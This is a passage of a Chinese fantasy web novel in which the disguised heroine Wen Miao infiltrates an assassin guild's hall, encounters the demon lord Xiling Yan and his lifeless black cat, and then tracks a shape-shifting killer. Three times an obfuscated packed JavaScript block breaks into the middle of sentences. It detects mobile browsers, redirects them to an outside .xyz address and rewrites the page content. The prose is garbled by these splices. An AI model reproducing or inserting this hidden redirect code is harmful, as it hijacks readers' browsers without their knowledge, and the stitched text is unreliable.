金不收两天没有歇息,早就困得两眼惺忪,一路上打了不少哈欠,终于回到客栈,摆摆手便回去困觉了。 温渺与刘富贵各自分别后,留在房中专心修炼,然而露城中阴杰浓郁,灵气却稀薄无比,她只能在房中修习剑招。 一直等金不收睡醒,准备出去买些药材,她才躺回榻上休息,好养足精力应付接下来的事。然而这中间并没有过去太久,等入夜后,金不收提着一个大布袋进屋,哐当一声丢到桌子上。温渺被惊醒,坐起身问她:“你回来了,需要的东西都齐了吗?” “嗯,就差人了。”金不收翘起二郎腿,坐下喝茶。“今日那条街又打起来了。” 温渺有些不解:“他们为什么总在此处争斗?” “我也奇怪呢,路上拉着人问了两句。”金不收没说原因,反问她:“你没发现那条街有些不同吗?” 温渺回想了一番,没觉着有多大不同。金不收点醒她:"花,这条街上种的 花最少。" 露城几乎遍地是花,就连到了冬日,魔气四溢的街市上,也能随处可见盛放的花树。温渺道:“我以为是因为有人在这条街上争斗,才让这条街上看不见几多花。” 金不收摇了摇头。“你想反了,是因为这条街魔气浓郁,寻常草木难以存活,才有这么多争斗。”“为什么?”温渺有些奇怪,听着好像露城中都是爱花之人一般。“那些花是西陵砚种的。”金不收警告她:“我知道你喜欢花,特意来提醒你,千万不要去手欠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790170|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同金不收所说,刘富贵的确很强,那名花榜的叶在回朝露间的路上,甚至没来得及发出一声惊呼,便被刘富贵一道剑气击中穴道,轻飘飘倒了下去。温渺原本提心吊胆,抓着剑柄时刻准备冲上去,最后竟是没有用武之地。 花榜中人,说是死不足惜也不为过。 可金不收却担心花榜有咒术,倘若有人身死,他们的人会得到消息。这种咒术并不罕见,她们要小心行事,便给那人塞了药,令他昏睡不醒,扒了他的衣物后才将他藏起来。金不收取了对方的血回去炼药,期间刘富贵始终放不下心,仍在试图劝温渺留在客栈,由他易容后进入朝露间。 不止是温渺,连金不收都拒绝了这一点。 她说:“你易容进去,能骗得过谁?小枣虽是一根筋,与人来往勉强是够用了。” "她会遇到危险。" 金不收意味不明地笑了两声。“你若是易容,也只能骗这种一根筋的人,去朝露间只会比她更危险。” 温渺点头:“还是我去吧,若我遇险,道友在外接应也好。”刘富贵忽然将剑袋解开,而后将剑穗递给她。 剑穗中间系着一个小小的铜铃,随着他的动作却没有发出任何声响。“若你遇到危险,用灵气催动铜铃发出声响,我会来帮你。” 温渺双手接过。“好厉害,这个能买到吗?” 刘富贵:“我可以送你。” 她摇摇头,说:"我想要送给其他人,若我想保护的人遇到危险,我也能感知到过去救他。" 她笑道:“在哪儿做的,我要给你一个。” 他愣了一下,随即轻笑。"等你回来,我再告诉你。" “好。”温渺看向金不收,说:“金大夫,我也给你一个。” 金不收也愣住了,欲言又止地看着她,脸上竟有些发红,莫名恼道:“我救你还差不多。” 却也没说不要。 朝露间的内部远比从外看着要更大,里面来来往往许多人,歌舞乐声不绝于耳,却并不让人觉得舒心。温渺身处其中,她能感受到那股浓郁的魔气。 这里的人,神态都带着一种隐隐的躁动,似乎一边在渴求,一边在压抑着什么。她不知该往何处去,但既然是负责与花打交道,应当在更僻静的地方。温渺试着避开人群,走在一处廊道中,听到背后有哒哒的脚步声靠近,她才转过身去。 一个女子面色不悦,快步走近他,说:“我方才叫了你半天,聋了不成?”温渺只能讪笑,她又骂道:"笑什么笑,嬉皮笑脸的,你人跑哪儿去了?"“有些私事……”女子白她一眼。“你能有什么私事,跟人厮混,迟早把你修为吸干。” 温渺点头:“嗯,姐姐说得是。” 她叫了句姐姐,女子脸色才好转,虽然仍有怒意,倒也没继续揪着他教训的意思了。 “那位回不来了,你还不赶紧回去,就等你对账了。” 回去?她也找呢,她究竟该回哪儿去? 温渺正发愁,一时间没有动作,女子不满上手便推了她一把。 她一时出神,右脚没有站稳,踉跄往后退了两步,立刻急中生智地往地上一坐,随即面露痛楚。 女子惊大了双眸,指着他说:"我不就碰你一下?你….…" 她无奈道:“我昨夜与人争执受了腿伤,方才为脸面强撑着,此刻被姐姐一推,当真是站不住了。” “你爬也要爬回去结账。” "是,劳烦姐姐叫个人搀我回去吧。" 这话说完,女子不耐地挥挥手,叫了两个人搀扶着她。 温渺终于不必再自己找路,就能被人搀过去了,何况她本身就瘸过,装瘸对她来说简直是如鱼得水。俩人将她搀到朝露间的楼阁之一,便似是因为某种禁令止步,不再往前走。温渺下意识要道谢,好在嘴巴都张开了,突然又想起身份,将话憋了回去。刘富贵将那名叶的衣物扒光后,还将他身上所有物件都带走,以免错过什么重要的信物。 温渺将从他身上扒下来的东西——放在门前晃了晃,当拿到一个玉佩的时候,大门果然嘎吱一声打开了。 殿内无比宽阔,带着些木头的香气。 她一走入,房间各个位置的灯火竟嗖得一下齐齐点亮。房间内的景象也随之一览无遗。 一排排的架子上,按照颜色区分,挂满了各式各样的牌子。 那些牌子有金制银制和木牌,有些牌子则是黑色,其中只有一个架子上,挂着零星三个玉牌。温渺走近去看,发现其中一个玉牌上,写着柳无恨三个字,玉牌一角还镂空出一朵桃花来。 如今的苍山掌门是柳无 负,柳无恨是西陵府仍存的时候,苍山在任掌门,温渺记得这个人物,他好多年前就死了。 可人已经死了,名字却被挂在此处? 金牌子比起银牌子又更少 些,温渺匆匆看了一遍,才看见几个勉强听间过的人物,都是仙门中有头有脸的角色。这也只是她对仙门修士并不熟知,若换了旁人来,也不知要如何心惊。不过这么看下来,这些牌子果真是依照身份来划分颜色。而那些牌子上,不知为何,都有着花型各异的镂空花朵。 温渺猜想,身为苍山少主,柳雪堂若是身死,无论如何也该归属金牌子,便专心翻找起来。 金牌相互撞击,发出一连串轻微当啷声。 温渺聚精会神,丝毫没有闲心注意其他,连有个东西什么时候站到了脚边也不知道,直到脚边传出一声:“喵……” 温渺几乎是脊背一寒,手臂随着这声猫叫抖了一下。 她低头看去,脚边站着一团漆黑,两只黑眼珠中闪着烛火的微微光亮,她才勉强能辨认黑猫是在看着自己。 这是西陵砚的猫。 温渺倒吸一口气。 那西陵砚岂不也在附近? 不对。 温渺想了想,那也未必,西陵砚若在露城,城中不会没有他的消息。而且不是说他神出鬼没,时常不在城中吗? 她记得上一次,西陵砚忽然现身要抓走温朗,还打伤了凌雨那次,他并没有将这只黑猫随身携带。这只猫出现在此处,并不代表他本人也在。温渺想到这点,缓缓松了口气。 想到上次这黑猫凶恶的模样,她稍稍往后退了一步,拉开点距离,以免它像主人一般突然发疯,给她狠狠来一爪子。 那黑猫见温渺后退,竟也站起身走了两步,继续贴在她脚边,还扒着她的腿站起身子,一只爪子胡乱地拨弄她的衣带,将她掩在衣物下的剑穗都拨了出来。温渺忍不住伸手摸了摸它,黑猫就着她的手蹭了两下。 温渺小声哄它:"我办正事呢,求你快走吧。" 她摸着又觉得有点奇怪,这猫的脑袋好像有点硬? 黑猫不仅不理,还躺在她脚边,蹭着她的衣裳打了个滚,将肚皮露了出来。温渺正想抬脚迈过它,原本寂静无声的殿内忽然响起一阵脆响。当啷当啷,像是什么轻巧的流苏坠子轻撞在一起。 温渺听了一会儿,猛然间想起什么,顿时面色骇然,一双腿像是被钉在原地,丝毫不敢动弹。 她的的视线透过重重香叠的牌子,看到桃色衣袍迤逦在地面,仿若是一摊堆叠的花瓣。 “妹妹。”一只苍白的手伸出,缓缓拨开一层木牌。“怎么跑到这儿了?” 紧接着又一层银牌被拨开,哗啦啦的响声后,露出一张艳如鬼魅,动人心魄的面容。 他隔着层金制的牌子,牌子仍在轻轻摇晃,折射的金光也落在他脸上,像是日光下的粼粼波光般颤动。 一双眼睛直勾勾地盯着温渺,脸上还带着似笑非笑的诡异神情。黑猫在她脚底翻着肚皮打滚儿。西陵砚却不看猫,仍看着她的眼睛,他勾起嘴角,说:“妹妹很喜欢你……”温渺简直要吓傻了,有些结巴地应道:“啊……是。”他说:“它在对你撒娇呢。” 温渺无措地低头看了眼,再抬起头,西陵砚仍笑眯眯地看着她,令人不由地毛骨悚然。他眨了眨眼,问:“你不抱抱它吗?” 第21章 黑猫仍在温渺的脚边轻蹭,发出些柔软的哼叫声。 温渺低下头,却迟迟没有动作。 她其实并不怕猫。 西陵府就有很多猫,那些猫会抓老鼠,有时候还会去厨房偷东西吃。 她阿娘从不拿着棍棒驱赶,往往在厨房的角落搁一个旧瓷碗,将剩下的吃食倒进去,让那些猫自己进去找吃的。 小的时候她跟温朗一个睡在床头,一个睡在床尾,常常有小猫趁着他们熟睡,偷偷钻进被窝取暖,发出呼噜呼噜的响声。温朗醒来发现有猫,想偷偷将猫揽到自己怀里,反将它吵醒,被狠狠挠了几道血痕。后来他去了昆仑,温渺留在净心居照顾西陵砚,那些小猫仍时而跑到净心居去找她。 温渺在打扫的时候,常常有好几只小猫站在墙头看她。西陵砚问她:“这是你养的猫?”温渺摇头:“不是,它们只是认得我。”这些都是自由的小猫。 净心居太安静了,几乎没有外人会来这里,一成不变的风景,连偶然出现几只小猫也让人欣喜。 西陵砚想留住它们,常常掰碎糕点放在墙角下。 陆续有更多小猫过来,在净心居讨些吃食,在檐下安静地晒太阳,甚至偶尔能看到有猫卧在他的榻上。但西陵府的猫可以去很多地方,他们并不将净心居视作自己的家。 那些猫来来往往,今日宿在净心居,明日又睡在他处,有时隔了几日回来,有时候离开再也不曾出现。西陵府太大了,小小一个净心居,连猫都不愿意永远留在此处,更何况是人。 一只狸猫也不知是不是跟野狗打架受了伤,腿上鲜血淋漓,温渺将它抱回净心居仔细照料。西陵砚与她一起,给那里猫伤药包扎伤口,狸猫伸出舌头舔舐他,乖巧地卧在他怀里也不挣扎。 这只猫因为腿伤哪儿也去不了,大多时候都睡在西陵砚身上,任由他一下一下地轻抚。 狸猫再净心居休息了许久,伤口恢复得比温渺想得要慢上许多,不过总归还是有所好转。 等狸猫能姿态轻巧,在屋子里跳上跳下的时候,温渺欣喜道:“看这模样好得差不多了,再过几日兴许就能重归自由,想去哪儿去哪儿了。” 西陵砚沉默片刻,突然出声问她:“净心居不自由吗?” 温渺愣住,问:“什么?” 他说:“我对它不好吗?为什么它还是想走?” 温渺俯下身,安抚道:“我们只是陪它度过一程,日后或许还能再遇,净心居没有封起来,它想离开,也只是天性使然。”西陵砚仰起脸,问她:“净心居连一只猫可以自由,想走就走,凭什么只对我封起来?” 西陵砚抓住她的手臂,猛地咳嗽起来,一种强烈的不甘在他心中蔓延,像是毒藤将他狠狠绞住一般,令他生出一种难以言说的痛苦。他想问:那你呢,你也只是陪我一程,是不是? 但他没有问,他不敢再面对更多令人失望的答案。 湿冷的雨水在檐下连成了珠串,打在窗外的芭蕉叶上,一阵噼啪声响,像极了远远传来的爆竹声,令西陵砚无端烦躁。他坐在软垫上,忽然坐直身体,将身边唯一有热度的温渺抱住。温渺任由他抱住腰,伸手抚着他冰凉垂顺的发丝,像他抚摸那只狸猫一般。她说:“世间那样多仙人,总有人帮得了长公子,待你病愈,便去看尽天下最美的风光。” 西陵砚抓住温渺的手掌,他闭上眼,将微凉的脸颊贴在她温热掌心,像撒娇的狸猫般轻蹭了一下,而后睁着黑亮的双眸看她。“那你呢?”他问。 温渺说:“我会陪着长公子,一直到最后。” 烛光照在殿内摇晃的挂牌上,温渺一时间竟觉得四周仿佛有鬼影幢幢。 西陵砚此刻就在她对面,她也不知自己若是不照办,这个人会不会突然发疯连自己都杀。就算不杀她,突然给她来一掌,将她的易容打失效,那也是噩梦一件。温渺犹豫了一下,还是俯下身,将地上撒娇的黑猫抱了起来。黑猫卧在她怀里出奇地乖巧,可温渺的不适感却越来越重。 她抱过各种各样的猫,大的小的胖的瘦的都抱过,从来没有哪只猫的皮肉摸起来让她觉得冷硬。那只猫离温渺更近了些,它长开獠牙发出叫声,温渺这才恍然发现它身上的魔气。一只猫身上怎么会有魔气? 温渺又捏了捏黑猫的肚子,终于反应过来,这猫根本不是个活物。她猛然看向对面的西陵砚。 他正打量着她,见她突然看过来,便轻笑道:“你的胆子变小了。”他探身靠近,温渺下意识后退,却被他猛得按住肩膀。他轻叹口气,像鬼魂在她耳边低语。“躲什么?”温渺不动了,他移开手掌,将她怀中的妹妹强行抱了过来。西陵砚轻抚着臂弯的黑猫,转过身,在木架中缓缓踱步,穿梭在重重金牌中。 路过某处,他停下脚步,伸手拨出一块金色牌子,淡淡道:“我倒是好奇,想杀他的人会是谁。” 温渺总觉得自己一直不说话,显得像个木头,再这么下去西陵砚要怀疑了,只好接了一句:“城主是在说谁?”西陵砚没有回答她,却是将牌子扯下,随手朝她抛了过来。 温渺将金牌接住,赫然发现上面刻着的正是柳雪堂三个字,同样 的木牌一角镂空着一朵海棠。温渺之所以能认出,是因为这花一看就是出自西陵砚的手笔,他画出来的花也是这个模样。 净心居虽然大,花园却也有限,西陵砚将净心居的花都画了个遍,温渺便外出折来各式花枝插在瓶中供他作画。有时是府中的花树,有时是后山的野花野草。 温渺听人说,花榜从前并不叫做花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790171|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榜,也远不比如今叫人间风丧胆,那时还只是在露城中一个杀人帮派,名叫阎王点P。后来被改名叫花榜,许多人都觉得奇怪,明明是个杀人要命的所在,偏偏取名这 么风雅。 直到后来,世人知晓花榜之主,正是在露城横空出世,杀死无数同道邪修的西陵砚,敢出言议论的人就更少了。这些牌子上镂刻的花朵各式各样,会不会就是代表着负责任务的杀手。毕竟在花榜中,花指的便是那些杀手。 温渺看着柳雪堂名字下的海棠,忍不住想,这究竟是不是那位一人千面。 一人千面杀人无形,江湖上有许多疑案,都被人怀疑是出自他手,大多都无从定论。 在她来之前,刘富贵和她提起过几个名字,世人都怀疑是死于一人千面,她只勉强记住了两人,等西陵砚走后,她在其中仔细寻找,若能对上名字,又有海棠标记,那便大致无误了。“在想什么?” 西陵砚忽然出声,打断了温渺的沉思,她肩膀轻抖了一下,忙说:“没事,没想什么。”不知看见了什么,西陵砚忽然皱起眉,快步朝她走近。 温渺又想后退,西陵砚却像在殿中飘忽的鬼影,竟是倏而出现在她身后。她退后一步,竟直接撞在了他怀里。银质的流苏轻轻撞击着,声音仿佛是从她耳边传来。 冰凉的发丝轻拂过温渺颊侧,一只手已经从后伸过来,以一个环抱的姿态绕过她的腰。温渺大脑一片空白,咬着牙强撑着不做出异样的举动。 好在那只手并未真正将她抱住,而是拨开她的外袍,抽出了她系在腰带上的铜铃。那是刘富贵留给她用来求助的信物。 “这是什么?”西陵砚的脸紧挨着她,微微侧过,唇瓣几乎要擦着她的脸颊。说话间,温渺甚至闻到了他身上有一股淡淡的甜香。虽不至于浓郁,但她从来没见过男子用这种熏香。靠得这样近,温渺更不敢动了。 她甚至怀疑西陵砚身上的香气,说不定会毒死人。她屏住呼吸,僵硬道:"是一个小物件,街上买的。"西陵砚摇了摇剑穗,铜铃没有发出任何声响。 “哦,那我要了。” 说完,他没有粗暴地扯下剑穗,反而是慢条斯理地将缠绕的系带解开。 这个过程反而令温渺更加焦灼,恨不得亲自上手帮他拽下来。 等西陵砚终于将剑穗解开,殿门忽然打开一道缝隙,光线照了进来,刚好照在亲密依靠的两人身上。一个人站在门口停顿了片刻,似是犹豫着进来还是离开。 西陵砚终于与温渺拉开些距离,平静道:“是你,既然来了,站在门口作什么?”那人这才走入,殿门又嘎吱一声紧闭。烛光下,温渺看见对方的面容,是一张陌生的脸。"我来结任务。"说完,他递来一个金色牌子,上面镂空着一朵海棠。 第22章 温渺接过牌子,上方写着一个陌生的人名,她不曾听说过。 她一时间没有动作,扭过头,西陵砚正好整以暇地看她。 “怎么了?”他问。 温渺猜想眼前人十有八九就是传闻中的一人千面,可她哪儿知道结任务要结多少钱。若是西陵砚不在,她还有时间翻找,看看有没有账目之类的好核对,偏偏他人在此处。实在古怪,分明听城里人说,西陵砚已经有一阵子不曾回来了。温渺犹犹豫豫道:“我……我身子突感不适。” 对面的男人立刻面色古怪,皱起眉张口问:“你看着不像伤重到片刻不能耽误。” “还有。”他视线扫过温渺的手,古怪道:“你将这牌子取出做什么?” 西陵砚道:“没什么,是我丢给他的。” 男人转身看向西陵砚,说:“这件任务我没能做全,城主若是要追究,我无话可说。” “我追究你做什么?”西陵砚缓步走到温渺身边。 曳地的长袍在木质地板上扫出一阵沙沙声,仿佛某种蛇类游移着靠近。 他将木牌从温渺手中抽走,一只冰冷的手捉住她的手腕,拉着她朝另一个方向去了。 西陵砚边走边道:“人客没有追究,便是对任务满意。你不是已经杀了他?” 男人想了想,说:“当时的任务,是让我去杀了柳雪堂,将他身上的手指毁去,但碍于温朗在附近,我必须先走一步,未曾来得及找出手指。”人客虽然不曾追究,但这任务确实做得有破绽。 西陵砚面对着墙壁,屈起手指将墙壁敲了敲。“谁的手指,竟还要争抢,上面有秘籍不成?” “不知。” 温渺在一旁暗自心惊,原来西陵砚也不知晓咒刺的事情,那温朗的事便当真与他无关吗? 但如此想想,又让人不禁心生感慨,毕竟当初西陵砚能有今日,与那使用咒刺解封他体内魔元之人也脱不开干系。只是当初众人都以为始作俑者出自琅华,也早在西陵府中身死后,在大火中被一同烧成灰烬,怎能想到此人竟存活至今? 甚至到了今日,连他是否归属琅华也有待商榷。 据金不收说,花榜的根遍布天下,各大仙门中亦有不少耳目。几大仙门的掌事对此都很头疼,每年都想出不少奇招想将这些根挖出来。 那根手指的事,温朗想必也没有机会说与旁人。 要不是她当日闯上苍山,毅然决然当着众人的面逼问仙首徐伯远,知晓此事的人恐怕也寥寥无几。 倘若花榜当真有传闻那般神通广大,当日苍山掌门殿前的事,恐怕离传入西陵砚耳中也不远了。 只是,也不知道那时他会是怎样的心情。 墙壁发出几声闷响后,竟缓缓向着地面陷了下去,露出藏在墙后的另一重空间。 里面摆满了明晃晃的金块和珠玉,一眼望去,璀璨得几乎晃人眼睛。 然后墙壁下落后,温渺仍看到有一层隐约的光辉隔在那重空间之外,仿佛是又一层隐蔽的门。 西陵砚扬袖扫过,那层如水般的光辉顿时褪去。 "他今日身体不适,你自取吧。"西陵砚说完,一人千面狐疑地看了看温渺。温渺立刻心虚地轻咳两声,西陵砚自然地伸出手,轻轻拍着她的背。温渺震惊到止住了咳嗽声,僵硬到不敢抬眼看他。难道西陵砚是只对外残暴,对下属却关心亲切的那种人吗? 一人千面脸上的狐疑更多了几分,但见西陵砚一本正经,他也不想多掺合,毕竟这位城主有病天底下谁不知道。 西陵砚并不看管,任由一人千面自己去结钱。温渺却上下打量着一人千面,似乎是想将他的模样看仔细。 西陵砚出声道:"旁人的脸有什么好看的?" 听这话,好似是说一人千面现在用的也是一张假脸。温渺不由又多看了两眼。“好奇。” 西陵砚抓住她的肩膀,绕过密林一般挂满各式牌子的木架,走到一处侧门。 只见他一手拎着黑猫,一手将她抓住,抬脚便将殿门踢开了,高阁上顿时有冷冽寒风灌入,吹得室内木牌哗啦啦作响,宛如这些名字象征着的数千亡魂在齐齐拍手。温渺意识到那些木牌宛如林立的墓碑,一时间心内既有毛骨悚然,也不禁感到哀戚。 西陵砚拉着她走到廊上才松手,手指轻抬,殿门立刻关上。 哗啦啦的响声暂时在耳边停息,取而代之的,事廊上无数风铃的发出的脆响。温渺仰头看去,这才发现不止这间楼阁的廊上挂满了各式风铃,其他各座楼阁也是如此。有些风铃看着形状古怪,似是象牙一般的质地。 温渺眯着眼打量着摇摆不清的风铃,好一会儿了才陡然惊觉,那些分明是人骨! 这样一来,那种毛骨悚然又浮了上来,与此同时,她还感到异常愤怒。 杀人还不算,竟还要将人制成装饰,这是何等残酷暴戾,简直不配称之为人。 如此想着,本该悦耳的风铃声也像是亡魂的哀嚎惨叫,随着风吹而不肯停息的撞击声,也像是在温渺的心上不断敲打。 西陵砚忽然扭头问她:“除了此处,你从前有见过风铃吗?” 温渺很少说谎,可 此刻,她摇摇头,否认道:"不曾。" 激荡的铃音随着风力减弱渐趋缓和。 西陵砚似是有一瞬愕然,看了她一会儿,薄唇微抿起,默不作声将脸扭了回去,看向檐角的摇晃的铜铃。 片刻后,他喃喃自语:"不曾吗?" 高阁风太大,铃声又吵得很,温渺没有听清他的话。 她只想知道西陵砚什么时候能放她走,难得见到一人千面,她必须把握机会,告诉刘富贵他们这件事,然后想办法将他捉拿回苍山。 想到此处温渺就更头疼了,一人千面毕竟是花榜前十的人物,与那些负责杂务的叶可不同,若是摸不清他的实力,反会害了身边同伴。 他又自言自语,说:“我听人说,在一些地方,风铃是招魂的阴物,若用逝者的骨头制成,便能将他们召回。” 温渺不禁皱眉,可惜世上没有鬼,要不然朝露间不知多少厉鬼要来索西陵砚的命。 听说这些邪修为了修炼,集纳阴然的法子可谓是无所不用其极。 荐微仙长也说了,人死后并没有什么鬼,所谓的鬼魂只是人死后留下的一口阴杰作乱。想来西陵砚也只是想用风铃召集阴无,好用于修炼邪法。从前在西陵府的时候,连雨声太大都会吵得他难以入睡。如今听着这些宛如亡者哀鸣的铃音,他竟能如此安稳吗?温渺看着西陵砚的背影,总觉得前尘往事,当真是越发像一场梦了。 不同的是,死去的人在她心中仍是真真切切地活过,至今想起仍是眉目鲜明。反而是活着的西陵砚,如今再想,竟觉得面容模糊,身影越□□缈,仿若一场午后的幻梦。眼前的西陵砚,就只是令人闻风丧胆的魔头。而那位病弱的长公子,已经死去很久很久了。 温渺待在西陵砚身边有些心不在焉,比起这个,她更关注一人千面的动向。“我要回去歇息了。”西陵砚突然道。说完,他将手中的黑猫递给温渺。温渺将黑猫接过,轻轻抚摸它的下巴 黑猫在她的怀里很温顺,伸出爪子去够她的发丝,轻巧又灵动的动作,很难相信出自一副冰冷僵硬的身躯。 "走吧,将它送回,你也可以走了。"温渺根在西陵砚身后,时而朝着远处看去。 朝露间是露城中最高的所在,站在高高的楼阁上眺望露城,能看到一片泛着死气的旧城中星星点点坠着许多亮色。那是露城中为数不多能在冬日盛放的花。 西陵砚顺着她的目光看去,放缓脚步,等她走到自己身边,才轻声道:“好看吗?” “什么?” “城里的花。”“花自然是好看……”温渺觉得莫名,但还是点点头。 西陵砚笑道:“可惜是冬日,等到了春夏,城中的花会开得更好,比现在还要好。许多豪族宅邸中都难得一见的,我这儿也有……” 温渺倒是想问为什么种这么多花?但她现在假扮的这个人,若是什么都要问容易露出破绽,还是少说话为妙。 何况看西陵砚现在这副模样,恐怕也没有什么正经原因,多半是走火入魔有了怪病。 温渺许久没有应声,西陵砚忽然停下脚步,冷淡道:“你走吧。” 也不知戳到了他哪一处,脾气就像月亮似的,方才还是初一,转眼就成十五。 温渺将黑猫放下,黑猫还恋恋不舍抓着她的袖子想攀回去。 西陵砚抬脚将它扫到一边去,又睨了她一眼,才不耐道:“没出息,没看到人家不喜欢你吗?” “没有,我….…我喜欢猫。” 西陵砚冷笑两声,转身便走。 温渺巴不得他走快点,当然没有跟上,见到他的身影消失后立刻松了口气,转身便去寻找一人千面的踪迹。 西陵砚走了没几步,忽然烦躁地扯出剑穗扔在地上。 铜铃落地,竟是沉闷无声。 黑猫看到铜铃坠地,扑上去要拨弄,又在靠近后猛地一缩,随后弓起脊背,黑毛也随着紧绷的身体根根竖起。它警惕地盯着铜铃,齿此起獠牙发出低吼声。 西陵砚冷眼望着那铜铃。 “你也闻到了,那些正道身上令人作呕的灵气。” 他抬脚踩下,铜铃咔啦一声碎裂,又在他脚底被重重碾了几下,彻底化作商粉,被寒风一吹而散。黑猫叫了几声,西陵砚蹲下身去,问:“你说她也有?”他敲了下黑猫的脑袋,认真道:"那些人怎配与她比?"西陵砚说完,抬眼看向檐角的风铃,幽幽道:“怎么会没见过呢,是不是忘记了,不应该忘记啊……不应该……” 一人千面走得很快,温渺并不熟悉露城,只要瞬息分神就会将人跟丢。 她甚至没有时间去告知客栈中的金不收与刘富贵,好在离开昆仑前,孟绮云教过她一个小术法,是昆仑符修擅用的招数,可以将自己的灵气附在符纸上,让人跟随符纸的指引找到她。然而天地间的灵气杂乱无比,能在众多混乱的灵气中,寻找到同属一人的灵气极为艰难,通常这招只对修为高深,抑或是极有天赋的修士管用,不过也仅仅能指引大概的方位。时间紧迫,温渺只来得及用剑气,将这道符纸直接送入刘富贵那间窗户,自己则急急忙忙追人去了。 至于刘富贵是否能顺 着符纸上的灵气找到她,其实她心底也没有太多把握。 温渺并没有高深的修为,因此不用刻意隐藏修为,也不会被轻易觉察。她只管隐匿行踪,不让一人千面发现她的踪迹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871830|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 显然一人千面也的确没有留意她,在朝露间结完任务该拿到的钱,他毫不犹豫提着钱离去,连片刻的歇息也没有。温渺奇怪他为何这么赶着要走,也不知是否又接了什么任务,赶着在期限以前完成。她心中更加警惕,既不能跟丢,又担心被发现,一路上再无机会向刘富贵他们传信。 一人千面路上十分谨慎,他原本的衣着已经泯然众人,走着走着,绕过一条街巷,竟又换了一张面孔,身上多了件灰色外袍。 若不是他手上的包裹尚未来得及换去,温渺一个恍神险些将人跟丢。绕来绕去,最后竟是穿过层层梅林,离开了露城。离开的出口与温渺来时不是同一个,她也不知自己跟到了哪儿去。一直到街市上,人流渐渐多了起来,她只能更加仔细。 只见一人千面似有察觉,脚步停了下,微微扭过头,侧目朝后看去。 温渺连忙蹲下,借由附近摊贩的的货物遮挡身形。 她不确定方才那一眼,一人千面是否有看到她的身影。 她现在仍保持着易容的模样,若是让他发现,朝露间负责结钱的叶,说着身体不适,暗中却在偷偷追踪他,不将她捉住问话才怪。 温渺暗自喘息片刻,又悄悄探出头,想看他人影是否还在原地,有没有发现她。 她蹲低身子正要探出头,肩膀就被轻拍了一下,吓得她一个激灵坐在了地上。 一张脸凑近她,黑亮的眼睛就像玉石般,照出她仓皇的神色。 “你?”温渺睁大眼,抓住凌雨的手臂。“你怎么在这儿?” 她心生怀疑,警惕地打量着他。 她易容进入朝露间并未告知凌雨,他如何认出易容的她,甚至还能跟在她的身后?凌雨似乎看不出她的紧张,温声道:“我收到你的符纸了。”温渺有些怀疑。“符纸?可我记得,我是送到刘道友的房中了…..”收到符纸的人怎么会是凌雨? 凌雨道:“你记错了,我当时在你房内,你送到自己房间了。” “那金大夫呢?”就算她送到自己房间,里面的人也该是金不收,怎么会是凌雨? “金大夫不在。我没找到你,一夜未睡,便借着你的床榻休憩了片刻。”说到此处,他垂着眼小声道:“对不住,是我太轻浮了。” 温渺见他背着的琴袋,料想是去朝露间拿回翦花。 想到自己方才竟还怀疑他,心中一阵内疚,忙道:“哪里的话,小事而已,怪我打搅了你休息。” "不打搅。”凌雨道:“我猜你有急事,便寻着符纸上的灵气寻了出来。"温渺探出身子朝外看去,已经寻不到一人千面的身影,不由懊恼,忙又朝着前方追了几步。不过几句话的功夫,哪还见得到一人千面身在何处。“你在追方才那灰衣男子?”凌雨说着,将翦花从琴袋中取出。 温渺点头,叹息道:“追丢了,我去高处找找看。” 凌雨拽住她,问:“你可曾与他有过接触,身上留有他的什么东西?”温渺正待摇头,猛然想起什么,从怀中掏出一块金牌。 她离开朝露间的时候,将象征柳雪堂的那块金牌,和一人干面递给她的那块都顺手拿了出来,她险些将此事忘了,如今想起,西陵砚竟也不曾察觉。“够了。”他说着,手上捏了一个诀,一根琴弦竟从翦花上脱落,宛如一道飘扬的发丝,轻轻缠绕在金牌之上。 而后琴弦竟灵光一闪,忽然消失不见,取而代之的是一片白色花瓣。花瓣无风而起,飘扬着穿过人流,径直朝着一个方向飞去。“好厉害!”温渺惊讶道。 凌雨笑道:"翦花的用处可不止弹奏……" 凌雨将翦花放回琴袋背在身后,拉着温渺的手腕,说:“我们走吧。” 有了翦花的指引,温渺不用再担心跟丢,可以保持一段距离,不必时刻担心被发现。 但她仍放心不下刘富贵与金不收,凌雨道:"不必担心,临走前我给他留了话。" 温渺点点头,心中暗付,凌雨修为不高,懂的却很多,想必天赋也非比寻常。若不是琅华太乱,眈误了他,或许他还能加入更好的仙门,也不至于和妹妹失散了。想到此处,温渺又猛然反应过来,问他:“你怎么不用翦花找妹妹呢?” 凌雨愣了一下,随即道:“我学艺不精,离得太远,翦花对她无用。” 说完这句,他又补充道:“不必担心,我托人去寻她,已经有消息了。她平安无事,无需我操心。” 